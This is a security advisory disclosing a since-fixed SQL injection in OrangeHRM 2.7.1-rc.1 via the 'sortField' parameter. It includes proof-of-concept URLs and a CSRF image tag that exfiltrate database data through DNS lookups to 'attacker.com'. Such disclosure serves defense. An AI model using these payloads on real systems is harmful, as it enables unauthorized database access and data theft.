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SQL Injection Vulnerability in OrangeHRM

Advisory ID:HTB23119
Vendor:OrangeHRM Inc.
Vulnerable Versions:2.7.1-rc.1 and probably prior
Tested Version:2.7.1-rc.1
Advisory Publication:October 10, 2012 [without technical details]
Vendor Notification:October 10, 2012
Vendor Fix:October 11, 2012
Public Disclosure:October 31, 2012
Latest Update:October 11, 2012
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2012-5367
Risk Level:Medium
CVSSv2 Base Score:6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in OrangeHRM, which could be exploited to alter SQL requests to application's database.

1) SQL Injection Vulnerability in Orange HRM: CVE-2012-5367

The vulnerability was discovered in the "/symfony/web/index.php" script while handling the "sortField" HTTP GET parameter.

Successful exploitation of this vulnerability requires administrative privileges, however it can be exploited by a non-authenticated user via CSRF vector, as the above-mentioned script is also vulnerable to CSRF attack.

The vulnerability could be triggered by accessing the following URIs:

The PoC codes below are based on DNS Exfiltration technique and can be used in cases when application's database is hosted on a Windows system. The PoCs will send a DNS request demanding IP addess for `version()` (or any other sensitive information from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

1.1 http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 ))))

The following PoC demonstrates exploitation of the vulnerability via CSRF vector:

<img src="http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 ))))">

1.2 http://[host]/symfony/web/index.php/admin/viewPayGrades?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 ))))

1.3 http://[host]/symfony/web/index.php/admin/viewSystemUsers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 ))))

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[1] High-Tech Bridge Advisory HTB23119 - https://www.htbridge.com/advisory/HTB23119 - SQL Injection Vulnerability in Orange HRM.
[2] OrangeHRM - http://www.orangehrm.com - OrangeHRM is the world’s most popular Open Source Human Resource Management Software (HRMS) with over 1,000,000 users globally.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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